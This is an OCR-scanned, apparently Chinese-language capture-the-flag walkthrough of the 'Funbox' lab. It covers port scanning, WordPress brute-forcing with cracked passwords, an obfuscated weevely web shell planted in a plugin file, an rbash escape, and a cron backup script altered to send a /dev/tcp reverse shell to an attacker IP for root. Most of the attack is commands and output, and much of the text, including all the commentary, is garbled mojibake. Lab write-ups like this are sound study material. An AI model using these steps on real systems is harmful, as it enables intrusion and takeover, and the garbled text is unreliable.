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nmap -sn 16.16.16.0/24  //&KILEIHLERIPAL6.16.16.157
nmap -A 16.16.16.157 -v //EH#fnmap&H
STATE SERVICE VERSION
open ftp ProFTPD
open ssh OpenSSH 8.2p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
open http Apache httpd 2.4.41 ((Ubuntu))
http-methods:
Supported Methods: GET HEAD POST OPTIONS
http-robots.txt: 1 disallowed entry
_/secret/
_http-server-header: Apache/2.4.41 (Ubuntu)
_http-title: Did not follow redirect to http://funbox.fritz.box/
_https-redirect: ERROR: Script execution failed (use -d to debug)
MAC Address: F8:FF:C2:4C:7B:F3 (Unknown)
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
:SCAN(V=7.80%E=4%D=8/13%0T=21%CT=1%CU=34633%PV=N%DS=1%DC=D%G=Y%M=F8FFC2%T
:M=5F34B6B3%P=x86_64-pc-linux-gnu)SEQ(SP=105%GCD=1%ISR=10D%TI=Z%CI=Z%I1=1
:%TS=A)0PS (01=M5B4ST11NW7%02=M5BAST11NW7%03=M5BANNT11NW7%04=M5BAST11NW7%0
:5=M5B4ST11NW7%06=M5B4ST11)WIN(W1=FE88%W2=FE88%W3=FE88%WA4=FE88%W5=FE88%W6
FE88)ECN(R=Y%DF=Y%T=40%W=FAF0%0=M5BANNSNW7%CC=Y%Q=)T1 (R=Y%DF=Y%T=40%S=0
1 %A=S+%F=AS%RD=0%0Q=)T2 (R=N)T3(R=N) T4 (R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%0=%RD
:10%Q=)T5 (R=Y%DF =Y%T=40%W=0%S=Z%A=S+%F=AR%0=%RD=0%Q=) T6 (R=Y%DF =Y%T=40%W=0%
: S=A%A=Z%F=R%0=%RD=0%Q=) T7 (R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%0=%RD=0%Q=) U1 (
:R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI
:N%T=40%CD=S)

Uptime guess: 26.140 days (since Sat Jul 18 ©8:21:27 2020)
Network Distance: 1 hop

TCP Sequence Prediction: Difficulty=261 (Good luck!)

IP ID Sequence Generation: All zeros

Service Info: 0S: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT ADDRESS
1 0.54 ms 16.16.16.157
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ff FlwpscanfaA#i K T HAF 7 admin , joe

[i] User(s) Identified:

[+] admin

Found By: Author Posts - Author Pattern (Passive Detection)

Confirmed By:
Rss Generator (Passive Detection)
Wp Json Api (Aggressive Detection)
- http://funbox.fritz.box/index.php/wp-json/wp/v2/users/?per_page=100&page=1
Author Id Brute Forcing - Author Pattern (Aggressive Detection)

Login Error Messages (Aggressive Detection)

[+] Joe
Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)

Confirmed By: Login Error Messages (Aggressive Detection)

HEBRBETHEERAT, (adminf)#i, ZRDKEHTHE, D7 HREAER

wpscan --url http://funbox.fritz.box/ -P /usr/share/password.lst --max-threads 100
[!] Valid Combinations Found:

Username: joe, Password: 12345

Username: admin, Password: iubire

0x02 getshell
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Funbox New Howdy, admin .

Dashboard
Edit Themes

Posts

Twenty Seventeen: 404 Template (404.php) Select theme to edit: | Twenty Seventee v l [ Select l

Media

Selected file content: Theme Files

Pages

Comments

X Appearance

Themes
Customize
Widgets
Menus
Header

Theme Editor
Plugins
Users
Tools

Settings

© Collapse menu

BEA R B A php AR B

1
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32

34
35
36

<?php
Jx*
* The template for displaying 404 pages (not found)

*

* @link https://codex.wordpress.org/Creating_an_Error_ 404_Page
*

* @package WordPress

* @subpackage Twenty_Seventeen

* @since Twenty Seventeen 1.0

* @version 1.0

*/

get_header(); 2>

<div class="wrap">
<div id="primary" class="content-area">
<main id="main" class="site-main" role="main">

<section class="error-404 not-found">
<header class="page-header">
<hl class="page-title"><?php _e( 'Oops! That page
can&rsquo;t be found.', 'twentyseventeen' ); ?></hl>
</header><!-- .page-header -->
<div class="page-content">
<p><?php _e( 'It looks like nothing was found at
this location. Maybe try a search?', 'twentyseventeen' ); ?></p>

<?php get_search_form(); 2>

</div><!-- .page-content -->
</section><!-- .error-404 -->
</main><!-- #main -->
</div><!-- #primary -->
</div><!-- .wrap -->

<?php
get_footer();

SerEkaliff F weevely £ HPHP AL

Ki1.phpBI N AR HIJGE, A LEFK 404.php R REFHIREIREE, BREARFAEXEEH AR

HERENLE, EHAEREBA-TREEA

Stylesheet
(style.css)

Theme Functions
(functions.php)
assets »

RTL Stylesheet
(rtl.css)

404 Template
(404.php)

Archives
(archive.php)

Comments
(comments.php)

Theme Footer
(footer.php)

Homepage
(front-page.php)

Theme Header
(header.php)

inc »

Main Index Template
(index.php)

Single Page
(page.php)

Search Results
(search.php)

Search Form
(searchform.php)

Sidebar
(sidebar.php)

Single Post
(single.php)

template-parts »

readme.txt



A Funbox P =+ New Howdy, admin

Help ¥
Dashboard
WordPress 5.5 is available! Please update now.
Posts
Media Edit Plugins
Pages Editing akismet/index.php (inactive) Select plugin to edit: [ Akismet Anti-Spe v l l Select l
Comments Selected file content: Plugin Files
1 <?php akismet.php
»
7 Appearance 2 $o=str_replace('Dw','', 'DwcreatDwe DwDwfuDwnctiDwon'); I ind h
" Plugins 3 $c='"(@x(@basCXe64_deCXcoCXde($m[1]),$k)));So=Rob_get_CXconteCXnts()CX; Index.php
9 @ob_enCXdCX_clean('; LICENSE.txt

4 $M='r($CXi=0;CX$i<81;){forCX($CXj=0CX; ($CXFCX<SCa&$i<SL)CX;$j++,$i++)
{So.=$CXt{CX$i}"';

Add New 5 $g='"CX$k{$j};}}CXCXreturn CX$o;}if (CX@preg mCXatcCXhCX("/$kh(.+)$kf class.akismet-cli.php

/",@fCXile_CXgeCX';

Installed Plugins

changelog.txt

i i views »

Plugin Editor 6 $F='t_contCXents("CXphp:/CX/CXCXinput"),$mCX)==1)

. {@CcXobCX_ start()CX;@evaCXl(@gzunCXcoCXCXmpress'; _inc »

e Users 7 $E='CX$CXk="529ca805"; $kh="0CXa0CX01CX80790cf"; $kCXf="88bCX63468826aCX" " 5

class.akismet-rest-api.php

; $Sp=CX"nuWNglwCXHpz';

# Tools 8 $z='VyCX59CXOR";CXfuCXnctCXCXion x(§t,$k) class.akismet-widget.php
{CX$c=strlen($CXk)CX;$1l=strCXlen(CX$t);So="";fo'; wrapper.php

Settings 9 $W=');CX$r=@baseCX64_CXencode (@CXx(CX@gCXzcompCXress($0),$k)CX); . .
printCX(CX"SpSkhSTSkE"):} ' ; class.akismet-admin.php

© Collapse menu

10 $d=str_replace('CX','',$E.$z.$M.$q.$F.$c.SW); class.akismet.php
11 $v=$o('',8d);$V(); readme.txt

12 2>

13

14 # Silence is golden.

BIIEN, MHEAEH weevely FEHIE

weevely http://16.16.16.157/wp-content/plu

# weevely http://16.16.16.157/wp-content/plugins/akismet/index.php hehe
weevely 4.0.1
Target: wew -dataafunbox: /var/ww /html

Session: /root/.weevely/sessions/16.16.16.157/index_@.session
Shell: System shell

[+] Browse the filesystem or execute commands starts the connection
[+] to the target. Type :help for more information.

weevely>

www -dataafunbox: /var/ww /html %
www-data@dfunbox:/var/www/html %
www-data@dfunbox:/var/ww/html %
www-dataafunbox:/var/www/html %
www-dataafunbox:/var/ww/html § 1s
default.htm

index.php

FRTIERER B —MERUR Kshell, T —BHRRT .
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www -dataf@funbox:/var/wwm/html $ 1sb_release -a

No LSB modules are availlable.

Distributor ID: Ubuntu

Description: Ubuntu 20.04 LTS

Release: 20.04

Codename: focal

www -dataafunbox:/var/wwm /html $ uname -a

Linux funbox 5.4.0-4@-generic #44-Ubuntu SMP Tue Jun 23 @@:01:04 UTC 2020 xB6_64 xB6_6
4 x86_64 GNU/Linux

www -data@funbox:/var/ww /html $ whoami

www —-data

www -dataafunbox:/var/www /html $ id

uid=33(www-data) gid=33(wwmw-data) groups=33(www-data)
www -data@funbox:/var/wm /html $ |

BRBGRNIIXERER

ww -dataafunbox:
funny
joe
www-dataafunbox:/home $ cd joe
www-dataafunbox: /home/joe $ 1s
mbox
waw -data@funbox:/home/joe § cat mbox
cat: mbox: Permission denied
waw -data@funbox: /home/joe § 1s -al
total 56
drwxr-xr-x 5 joe Jjoe &096 Aug 13
drwxr-xr-x & root root 4096 Jun 19 - -
1 joe joe 1756 Aug 13 - .bash_history
-IW-r—r-— joe Joe 228 Jun 19 - .bash_logout
-IW-r—r-— joe Joe 3771 Jun 19 - .bashrc
joe Joe &4@96 Jun 19 - .cache
joe Joe 4@96 Jul 18 - .local
joe Joe 502 Aug 13 - .mysql_history
joe Joe 807 Jun 19 - .profile
joe Joe &@096 Jun 22 - .5s5h
joe Joe 9549 Jul 18 - .viminfo
joe Joe 998 Jul 18 - mbox
www -data@funbox: /home/joe % |

HERRINT BIFEANEF, FEEFRjoeRIBR, AHRRHERNEFZ ML 12 FZW, BEWRELEMEFAR 12345, K
RksshiE—TF

ssh joe@1l6.16.16.158




:~# ssh joedl6.16.16.157
Jjoedl6.16.16.157"'s password:
Welcome to Ubuntu 20.04 LTS (GNU/Linux 5.4.0-4@0-generic xB86_64)

* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage

System information as of Thu 13 Aug 2028 11:85:32 AM UTC

System load: @.0 Processes: 192
Usage of /: 59.2% of 9.78GB Users logged 1in: ]

Memory usage: 60% IPv4 address for enp@s3: 16.16.16.157
Swap usage: 16%

* "If you've been waliting for the perfect Kubernetes dev solution for
mac05, the wait is over. Learn how to install Microk8s on mac0S."

https://ww .techrepublic.com/article/how-to-install-microk8s-on-macos

updates can be installed immediately.
of these updates are security updates.
see these additional updates run: apt list —--upgradable

You have mail.
Last login: Thu Aug 13 88:31:59 2020 from 16.16.16.158
joeafunbox:~$ |

1s RIjoe 1K H RAFE— mbox KIS, cat — TFEF



joe@funbox:~$ cat mbox

From root@funbox Fri Jun 19 13:12:38 2020

Return-Path: <root@funbox

X-Original-To: joe@funbox

Delivered-To: joe@funbox

Received: by funbox.fritz.box (Postfix, from userid 0)
id 2D257446B0O; Fri, 19 Jun 2020 13:12:38 +0000 (UTC)

Subject: Backups

To: <joe@funbox

X-Mailer: mail (GNU Mailutils 3.7)

Message-Id: <20200619131238.2D257446Bo@funbox.fritz.box

Date: Fri, 19 Jun 2020 13:12:38 +0000 (UTC)

From: root <root@funbox
Hi Joe, please tell funny the backupscript is done.

From root@funbox Fri Jun 19 13:15:21 2020

Return-Path: <root@funbox

X-Original-To: joe@funbox

Delivered-To: joe@funbox

Received: by funbox.fritz.box (Postfix, from userid 0)
id 8E2D4446BO; Fri, 19 Jun 2020 13:15:21 +0000 (UTC)

Subject: Backups

To: <joe@funbox

X-Mailer: mail (GNU Mailutils 3.7)

Message-Id: <20200619131521.8E2D4446B0@funbox.fritz.box

Date: Fri, 19 Jun 2020 13:15:21 +0000 (UTC)

From: root <root@funbox

Joe, WTF!?!?!?1?1?! Change your password right now! 12345 is an recommendation to fire you.

B — T RBEE: backups « backupscript .« funny

HERERBNIEER funny home B X EE

joeafunbox:~$ cd /home
-rbash: cd: restricted
joedfunbox:~$ |}

{HRF GBS, FA1Google— T4, rbashZNZ[RHHHishell, W L3R4 T —depkikmik, XEEE —FmLHE
%€ bash -i

joegfunbox:~% cd
-rbash: cd: restricted
joegfunbox:~% bash -i
joeafunbox:~$ cd /home
joegfunbox: $ B




MRYE T )R8 R],  FAIEfunnyfJhome B FIR LR

joeafunbox: $ 1s -al
total 47640
drwxr-xr-x funny 4096
drwxr-xr-x root 4096 : !
—~FWXTWXTWX funny 79 : .backup.
funny 1585 : .bash_history
-I'W-r—r— funny 220 . - .bash_logout
-IrW-r—Tr— funny 3771 : - .bashrc
funny 4096
=I'W-T'wW-I— funny 48732160
=TW-r—r— funny 8e7 : - .profile
=I'W-I'w-r— funny 162 - .reminder.sh
-I'W-I'w-r— funny 74 125 .selected_editor
-I'wW-r—1r-— funny @ - .sudo_as_admin_successful
funny 7791 - .viminfo

KRBT A backup.sh , XM iZHLZEmboxH 37 K g

joeafunbox: $ cat .reminder.sh

#! /bin/bash

echo "Hi Joe, the hidden backup.sh backups the entire webspace on and on. Ted, the new
admin, test it in a long run.” | mail -s"Reminder" joed@funbox

.reminder.sh W% , Ht Ui BIE B & Xtbackup.shi#tfT T KHAZ1T, W LARERX AN backup. sh JiI25 & R 421 8] [ A 1R) $h4T .
BEAERESRRN, SB—BNE, backup.sh#li< L BRIEIT—K.

BEMRKI .backup.sh ZHFAERE. $AT.

FEFBIAE backup.sh ZHAHNE

joegfunbox: $ cat .backup.sh

#! /bin/bash

tar -cf /home/funny/html.tar /var/www/html
joeafunbox: $ B

M T RMAR R T IXAA vim .backup. sh

/dev/tcp/16.16.16.159/1234 0>&1

R, FATBEHLIT Fnclilr1234
hc lvp1234
WAERITE AN, backup.sh £RAMERIAT, BBRAINCHEIF1234E/5—2)LIF T, WAEER—2 AT —IRE.

BRI S 155 J5 38t roothBUBR i shell o



# nc -lvp 1234
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on :::1234
Mcat: Listening on 0.0.0.0:1234
Ncat: Connection from 16.16.16.165.
Ncat: Connection from 16.16.16.165:39674.
bash: cannot set terminal process group (3499): Inappropriate ioctl for device
bash: no job control in this shell
rootafunbox:~# 1s
ls
flag.txt
mbox
snap

JEERM, X—FHERLSHH funny shell, FERM, funny fl root BN P ER T @AES, funny B P EH 84T
—{R backup.sh, root AAFEHSHHIT K. FTUBESSBIX—PER Y funny Bishell, BRI #H root Hshell. RERZiE
RIEREER

WAEEZEMBIR reminder.sh KN SELHEME T

joe@funbox
//funny F P I E BT AESS, B8 $T —1K/home/funny/ .backup. sh

root@funbox:/var/spool/cron/crontabs
cat funny

*/2 * * * * /home/funny/.backup.sh




//root il I EAES, B h 08T — K /home/funny/.backup.sh
root@funbox:/var/spool/cron/crontabs

cat root

*/5 * * * * /home/funny/.backup.sh

IREXrootB R 177 ML A IE X —Hh, 7 BR8P DL 23R B Rk ...
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